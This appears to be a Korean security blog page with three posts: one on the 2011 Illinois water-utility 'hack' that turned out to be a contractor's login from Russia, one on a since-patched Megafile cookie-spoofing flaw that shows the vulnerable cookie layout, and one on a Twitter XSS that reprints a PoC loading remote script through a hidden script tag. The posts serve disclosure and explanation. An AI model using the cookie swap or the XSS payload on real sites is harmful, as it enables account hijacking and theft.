보안사건사고 #1 : US 정부의 SCADA 해킹사건 코미디: 상수도 시설이 러시아 해커로부터 해킹당했다!?

IT/Security/보안사건사고 2011. 12. 19. 22:38

Jim Militz. Russia 로 가는 Frankfurt 공항에서.

11월 10일, 일리노이즈 주 테러방지 센터 ISTIC(The Illinois Statewide Terrorism and Intelligence Center) 는 미국의 상수도 시설이
러시아 해커로부터 해킹공격을 받았다고 공식 발표했습니다.

최근 SCADA 시스템에 대한 공격이 뜨거운 이슈로 떠오르면서 다이하드 4.0 과 같은 영화에서나 나올 법한 일들이 Stuxnet, Duqu 등으로
재현되는가 싶더니 미국의 상수도 시설이 해킹당했다니! SCADA 해킹으로부터 공격당하지 않았던 미국입장에서는 꽤 얼굴 붉힐 일입니다.

그런데 그것보다 더 얼굴 붉힐 일로 발전해버리고 말았습니다.
이 모든건 Jim Militz  가 러시아로 휴가를 떠나고 그 곳에서 업무를 하면서 시작되었습니다.

Jim Militz는 Navionics Research 라는 SCADA 솔루션을 제작하는 SI 업체의 설립자이자 관리자입니다.
주로 SCADA 산업 시스템을 구축하고 관리하는 업무를 하며
일리노이즈 주 상수도 시스템에도 이 회사의 제품이 들어와 작동 중이었습니다.

지난 6월, Jim Militz 가 러시아로 휴가를 떠나고 가족과의 휴식을 즐기던 중,
데이터 히스토리 차트를 살펴보기 바란다는 상수도 시스템의 한 직원의 전화를 받게 됩니다.
Jim Militz 는 그렇게 러시아에서 원격으로 작업을 하고 휴가를 끝내고 미국으로 오게 됩니다.

가족들과 러시아에서 휴가를 즐기고 있는 Jim Militz.

그런데 문제는 11월 8일. 상수도 시설에서 돌아가고 있는 펌프가 에러로 작동을 멈추었고
이 문제에 대해서 수리사가 로그를 살펴보던 중 지난 6월 러시아 IP에서 시스템에 성공적으로 접근한 사실을 보게 됩니다.

일리노이주 Fusion Center-ISTIC 는 이 문제에 대해 미국 국토보안부(DHS) 와 연방수사국(FBI) 와 협조 수사를 하게 됩니다.
그런데 로그에서는 6월 러시아 IP에서 Jim Militz 아이디로 로그인 한 흔적이 뚜렷하게 남아있는 데도
Jim Militz 에게 러시아에서 직접 로그인 한 적이 없는지를 전혀 물어보지 않고
단순히 러시아에서 Jim Militz 의 관리PC를 해킹, 권한을 탈취하여 Jim Militz 아이디로 로그인 했다고 추정하여
아예 상황을 단정지어 버리는 굉장한 실수를 해버립니다. -_-;

그렇게 굉장한 착각에 빠진 일리노이즈 주 사이버 테러 대응 센터(ISTIC, fusion center 이하 ISTIC) 는
11월 10일 "Public Water District Cyber Intrusion(공공 수도 시설 사이버 침입)" 이라는 자극적인 리포트를 작성합니다.
이 리포트에는 러시아 해커가 Jim Militz의 PC를 해킹, 권한을 얻어 일리노이즈 주 상수도 시스템에 침입,
 6월부터 11월까지 무려 5달동안 펌프를 껐다 켰다 하는 만행을 저질렀다는 -_-; 내용이 실어졌습니다.

하지만 이것이 문제가 되자..!!
서로가 서로에게 책임을 떠넘기는 공방전이 벌어집니다.

ISTIC 를 관할하는 일리노이즈 주 경찰 여성 최고대변인(chief spokeswoman) Monique Bond 는 아래와 같이 주장합니다.

"그 리포트는 일리노이즈 주에서 같이 일하던 미국 국토보안부(DHS, 이하 DHS) 직원들과 함께 만들어진 것이고
일리노이즈 주는 단순히 그걸 처리하여 배포한 것이지 절대로 ISTIC 단독으로 작성한 것이 아닙니다."



이에 발끈한 DHS 측(Peter Boogaard 대변인)은 아래와 같이 주장합니다.

"만약 DHS 측에서 승인하여 배포된 리포트라면, 적어도 6개의 기관에서 서명 절차를 거쳐야 했는데 이 리포트에서는
그러한 사실이 없습니다. 왜냐하면 이건 ISTIC 가 작성한 것이고 리뷰 절차를 거치지 않았기 때문입니다!"



아무튼 옥신각신하고 있는 동안 많은 언론에서는 러시아 해커로부터 해킹 공격을 받았다고 많은 기사를 보냈고
보안 연구자들은 "거봐 이런 공격이 있을줄 알았다!" 하며 많은 평을 내놓게 됩니다.

한술 더 떠 SCADA 시스템에 내부적으로 미리 작성된(hard-coded) 패스워드가 예전부터 웹에서 떠돌고 있었다거나
원래 SCADA 시스템의 패스워드는 3자리라 쉽게 털 수 있다는 등
일부 연구자의 주장에 기자들만 기사 내보내느라 바빠집니다.

근데 이게 전 세계 언론으로 퍼지면서 수습하기가 참 난감한(...) -_-;
아무튼 이것이 사실이라면 미국의 SCADA 시스템이 최초로 해킹당한 사례이니 hot issue 임은 분명했죠.

도대체 누가 해킹을 했다는 거야?

가만히 소식을 앉아서 듣고 있던 Jim Miltiz 는 이런 저런 언론 보도와 자신의 상황을 끼워 맞춰 생각해본 결과
언론에서 말하는 러시아 해커가 자신이 지난 6월 러시아에서 작업했던 기록에서 나온 말임을 추측, 자신의 의견을 전달하고
DHS의 산업보안대응팀(ICS-CERT) 와 FBI 측의 공동 협조 수사를 받게 됩니다.

그런데 그 것이 사실이었습니다. 그 미지의 러시아 해커는 과거 러시아에서 정상적으로 접속한 Jim Militz 였습니다.
-_-;

조사팀과 함께 로그를 분석한 Jim Militiz 는 아래와 같이 주장합니다.

"이 SCADA 시스템의 로그 저장 공간은 상당히 큽니다. 이건 모든 상황을 기록해요.
그런데 이 로그들은 결코 해킹당했다는 것을 말해주는 내용들이 아닙니다.
몇몇 전기 문제(electrical-mechanical) 가 문제 되었다는 내용들이 있을 뿐입니다."



더불어 Jim Militiz 는 예전 일에 대한 썰을 풀면서 ISTIC 리포트의 미심쩍인 부분을 모두 해결해냈습니다.

"현재 이 SCADA 시스템은 예전에 어떤 업체로부터 원격 접근 시스템(remote access system) 을 수리 받았는데,
이 장비가 너무 오래되었거든요. 근데 아마 당시 이걸 수리하고 나서부터 이러한 문제가 종종 발생되어 왔었습니다.
아마도 제 생각에는 그 업체가 적절히 수리했다고는 생각이 들지 않네요."


실제로 FBI 와 DHS 측은 로그로부터 그러한 문제를 찾아내었고, 해킹에 관한 메세지는 찾을 수 없음을 공식적으로 확인했습니다.
더불어 펌프를 껐다 켰다 했다는 해커의 만행(...)에 대해서는 전혀 그러한 사실을 찾을 수 없다고도 발표했습니다.


아무튼 Jim Militz 가 해명하면서 사건은 모두 일단락되었습니다.
이 사건을 중심에서 담당했던 일리노이즈의 ISTIC 는 사방에서 돌 세례(...)를 맞게됩니다.
투명하지 못했던 DHS와 FBI 또한 비판을 피할 수 없었습니다.

통제 시스템에 기술자로서 15년간 근무한 Joe Weiss 曰

"이러한 리포트가 충분한 근거와 검증(corroborate) 없이 발표되었다는 것 자체가 충격입니다.
사이버테러대응센터를 신뢰할 수 없다는 것은 사이버테러대응센터가 존재하는 의미를 상실한 것이죠.
이건 상식입니다. 일반적으로 '리포트' 라는 것이 담고 있는 내용은 상당히 중압감이 있는 메세지(scary letter) 입니다.
근데 어떻게 DHS 는 그러한 것을 '초기 정보' 라는 말도 넣지 않고 발표(publish) 했을까요."


아무튼 미국 최초 SCADA 해킹 사건은 Jim Militz 의 간단한 해프닝에서 수사기관들의 삽질로 이어진
웃지 못할 코미디로 남겨지고 말았습니다.

이 사건은 수사에 있어서 각 기관들의 수사 협조 시스템과 
공식 문서를 내부에서 발간할 때의 검증 과정에 대해서도 미국 수사기관의 부족한 점을 찔러준 계기가 되었습니다.

어떠한 일을 검증을 하거나 수사를 할 때 추측은 추측뿐임을 공고히 하고 이를 단정지어서는 안됩니다.
강력한 심증으로 작용되는 것도 결국 심증은 심증이고 절대로 물증이 아닙니다.
사건은 심증을 참고할 필요는 있지만 결국 수사 결과는 물증에 의해 좌우됩니다.

단순히 미국 SCADA 시스템 해킹 사건에서 머물 문제가 아닌, 보안 사고의 측면에서 넓게 보면
북한 책임이라고 떠넘기는 우리나라의 여러 사고 사례에 대해서도 심각하게 고려해야하고,
비록 장기화되더라도 꾸준한 수사를 통해 물증을 확보하여 철저한 검증을 통해 공식적인 수사 결과를 내는 것이
바람직하다고 생각합니다. 하지만 정작 북셉티콘(...) 의 강력한 영향이 범벅되어 쉽게 심증으로 치우칠 수 있는
우리나라 사건사고 수사가 심증의 늪에 빠져 눈에 보이는 물증조차 부인하게 되는 상황이 올까봐 매우 걱정이 되네요.

(번외)


(참조)
이 포스팅을 만드는데 도움이 된 자료들


 
* 작성자의 한마디 *
 이 포스팅은 실제 사건을 기반으로 작성되었습니다. 각종 언론 매체와 실제 기관의 공식 발표 자료를 통해

정리, 작성되었으며 약간의 오역이 있을 수 있습니다. 상황에 따라서 의미가 전해지기 쉽도록 의역한 부분은 있으나
문맥이 달라지는 정도가 아니니 편하게 읽으시면 됩니다.
다음 업데이트는 크리스마스가 지나고 나면 작성하도록 하겠습니다.
모두들 메리크리스마스..!!

Anow Russell
(Twitter. @anow_null)



 

'IT/Security > 보안사건사고' 카테고리의 다른 글

보안사건사고 #0 : 소개 및 공지  (0) 2011.11.17

설정

트랙백

댓글

메가파일 쿠키 스푸핑 취약점

IT/Security/Web 2010. 7. 9. 15:53

이틀 전 메가파일이 쿠키 스푸핑에 취약하다는 사실을 듣고 가입을 해보았습니다.
그리고 Cooxie 의 Cookie Edit 창을 열었는데, -_-;;

참 간만에 보는 문서에나 나올 법한 쿠키시스템. 한 눈으로도 취약한 상태라는 것을 직감할 수 있었습니다.

쿠키 설정은 아래와 같았습니다.

_dwiN=d-Nkr
_dwiF=d-Nkr|d|-|-|-|-|-|-|-|-|-|-|
_dwiV=d-Nkr14|1278630403|2|1|
_dwiC=d-Nkr14|102584a2|1278630401|1278630401|1278630401|1|
check_adultk=0 // 성인인증 체크루틴으로 보이나 별 역할은 없음
check_comic=general%7C0%7CAnow%7CAnow
check_level=general
login_level=3
login_name=Anow
login_check=d358f5400d1cad644accb535423ae193

login_loginid=Anow // 유저 ID. 이 곳에서 취약점이 발생한다.
login_id=2973222 // 유저 unique id
login_session=0804_c385000d9177111299207773d7295035 // 유저 세션값
login_email= // 유저 이메일
login_mn= // 주민등록번호
login_name2= // 유저 이름의 URL Encoding
national=1
login_agent=0



이렇게 구성되어 있습니다.

 login_loginid 파라미터가 취약합니다.
저 login_loginid 를 다른 유저 아이디로 교체해버리면 id 일부 권한을 획득할 수 있습니다.
완전히 획득하는 것은 아니고, 교체한 id의 포인트를 마음껏 쓸 수 있었습니다.

한 마디로 다른 사람 id가 보이는 대로 바꿔치기 해가면서 포인트를 마구 쓸 수 있다는 소리입니다.
더구나 판매자 아이디가 완전히 공개되어 있어 다른 사람 id를 알기는 완전 쉬웠습니다. -_-;

취약점을 알았으니 제보를 해야겠지요.
그런데 고객센터를 들러도 마땅히 제보할 메뉴가 없었습니다.
그래서 사이트 하단에 있는 admin [at] megafile.co.kr 에 해당 쿠키 취약성과 방안, 조언을 담아 메일을 보냈습니다.
그리고 웬지 확인을 안하거나 메일이 전달되지 않는 경우를 생각해서(실제로 hotmail이 잘 전달이 안되는 경우가 있더라고요.)
고객센터에 위의 주소로 메일 보냈다고 따로 적어놨습니다.

20분만에 이런 메일을 받을 수 있었습니다.

<그림 2> 메가파일 운영진의 답장 메일

헐.. -_-;; 기분이 굉장히 좋기도 하면서 놀랐습니다. 여태까지 제보한 곳들 중에서 가장 메일 확인도 빨랐고,
거기다가 보상까지 받은 적은 처음이네요. 그 보상이 과연 무엇인지 잠시 생각해보았는데,
아마도 메가파일 내에서의 item 정도라고 생각이 되어 로그인을 해보았습니다.


<그림 3> 운영진으로부터 받은 보상


캐시 3만원이었습니다. 보니깐 반드시 돈을 질러야 충전이 가능한 item 이던데,
평소에 P2P를 구글에서 자료찾다가 rapidshare를 쓰는 경우 이외에는 토렌트도 쓰질 않아서 저에게는 전혀 쓸모가 없는(-_-;)
보상이긴했으나, 운영진의 빠른 응답과 마음 씀씀이가 정말 고마웠습니다. 그랬기에 더욱 뿌듯했었네요.

더욱 기분이 좋았던 것은, 관련 취약점이 그 즉시 모두 패치되었다는 사실이었습니다.

사실 이런 분류의 취약점은 매우 파악하기가 쉽기 때문에, 해킹에 대해서 거의 문외한인 script-kid 이더라도
쉽게 악용이 가능해서, 많은 피해사례가 지속되어왔을 것 같은데,
(메가파일 이라는 웹하드를 예전부터 가끔씩 들어온 것을 생각 해보면 꽤 많은 시간동안 취약했었네요.)
아무튼 이렇게 바로 패치되어 정말 기쁘네요.

캐시 3만원은 나중에 정말 급한 일이 생길 때 아니면 기념품(?) 으로 고이 모셔놔야겠네요.
아무튼 난생 처음으로 보상받은.. -_-; 좋은 경험이었습니다.


'IT/Security > Web' 카테고리의 다른 글

about:blank 가 다른 페이지로 표시될 때  (1) 2014.07.10
Twitter.com XSS 취약점 공개  (0) 2010.06.25

설정

트랙백

댓글

Twitter.com XSS 취약점 공개

IT/Security/Web 2010. 6. 25. 15:59

TwitterXSS 취약점이 인도네시아 해커 H4x0r-x0x 에 의해 발견되었습니다.
해당 취약점은 예전에 생각해보았던 취약점이었는데, 테스트 해보지 않았던게 아쉽네요. :(
어찌되었던 그동안 XSS와 CSRF 취약점에 한참 시달려오던 Twitter 은 이번에도 예외없이 보안문제로 질타를 받게될 것 같습니다.

문제는 이렇습니다.

<그림 1> Script 가 실행 가능한 구역인 Application Name 필드


바로 저 곳에서 XSS 취약점이 발생한다는 것인데, web에서 작성한 트윗이니 web으로 찍히겠지요. 저기에 직접 스크립트를 삽입하기 위해서는 Application 등록을 해야하는데, 트위터의 개발자 센터의 새 어플리케이션 등록 [ http://dev.twitter.com/apps/new ] 에서 Application Name 을 기입할 때 XSS 코드의 Injection 이 가능합니다.


<그림 2> 어플리케이션 등록 화면. Application Name 에서 Code Injection 이 가능하다.


취약점을 발표한 H4x0r 은 다음과 같은 PoC를 공개했습니다.
<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­­&shy;erTw­i­&shy;tter<span
style="visibility: hidden"&gt; <script src='http://is.gd/cWO66' type='text/javascript'&gt;</script&gt;</a>
</span>

 
스크립트 삽입이 가능해지면서 공격자의 Party 는 열리게 됩니다. :)

결론적으로, 이번 XSS 취약점은 대부분의 경우가 그렇지만,
"사용자 입력 검증 루틴이 부실했기 때문이다" 라고 이야기할 수 있겠습니다.


보다 자세한 정보는 아래의 링크를 참고해주세요.
[
http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/ ]

'IT/Security > Web' 카테고리의 다른 글

about:blank 가 다른 페이지로 표시될 때  (1) 2014.07.10
메가파일 쿠키 스푸핑 취약점  (13) 2010.07.09

설정

트랙백

댓글